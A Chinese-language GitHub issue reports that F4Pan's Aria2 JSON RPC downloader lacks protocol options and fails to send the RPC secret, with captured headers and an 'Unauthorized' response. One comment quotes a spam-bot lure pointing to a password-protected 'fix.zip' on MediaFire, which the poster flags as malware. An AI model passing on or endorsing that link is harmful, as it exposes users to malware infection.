Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug&功能请求] 关于Aria2 JSON RPC 下载方式 #13

Open
Youwenqwq opened this issue Aug 26, 2024 · 3 comments
Open

[Bug&功能请求] 关于Aria2 JSON RPC 下载方式 #13

Youwenqwq opened this issue Aug 26, 2024 · 3 comments

Comments

@Youwenqwq
Copy link

Youwenqwq commented Aug 26, 2024

在使用Releases 1.1.3中的complete包时,使用Aria2 JSON RPC方式下载文件遇到如下问题:

  1. [功能请求] 由于HTTPS网站的浏览器跨域限制,未使用SSL加密的请求会被浏览器拒绝发送。而F4Pan的Aria2 JSON RPC下载配置并未提供指定主机连接为http还是https,抑或是websocket的选项。在浏览器调试工具中看到,这个JSON RPC方式默认发送的是http协议请求,导致内网部署的带有SSL证书的Aria2下载工具无法正常获取到连接。

期望:提供http/https/ws协议选项

  1. [Bug]在F4Pan和下载器均使用HTTP协议时,目前Aria2 JSON RPC貌似无法正确发送密钥,在连接带有密钥的Motrix下载器时,会出现无法连接Aria2的提示。浏览器调试工具显示响应如下:

请求头/响应头

# 请求头
POST /jsonrpc HTTP/1.1
Host: 127.0.0.1:16800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/json
Content-Length: 75
Origin: http://域名.com
Connection: keep-alive
Referer: http://域名.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=0

# 响应头
HTTP/1.1 400 Bad Request
Date: Mon, 26 Aug 2024 14:06:15 GMT
Content-Length: 90
Expires: Mon, 26 Aug 2024 14:06:15 GMT
Cache-Control: no-cache
Content-Type: application/json-rpc
Access-Control-Allow-Origin: *
Content-Encoding: gzip
Connection: close

请求

{"jsonrpc":"2.0","id":"F4Pan","method":"aria2.getGlobalOption","params":[]}

响应

{"id":"F4Pan","jsonrpc":"2.0","error":{"code":1,"message":"Unauthorized"}}

据此猜测目前版本检测连通性选项仅仅测试了主机是否能被Ping通或是之类的,并没有对密钥进行验证,导致检测连通性正常,但是由于未验证而无法启动下载,进而表现为页面上的"xxx 下载失败,请等5s后重试"以及"全部任务已下载完成"

请求:完善Aria2 JSON RPC方式的密钥功能

以上

@Youwenqwq Youwenqwq changed the title [Bug&功能请求] 关于Aria2 JSONRPC [Bug&功能请求] 关于Aria2 JSON RPC 下载方式 Aug 26, 2024
@Youwenqwq
Copy link
Author

Download https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme In the installer menu, select "gcc."

这个是传播病毒的机器人,别下...

@Yincmewy
Copy link
Contributor

感谢你的BUG分析,经验证确实存在此BUG,请等待修复

@Yincmewy Yincmewy transferred this issue from f4team-cn/f4pan Aug 26, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants
@Youwenqwq @Yincmewy and others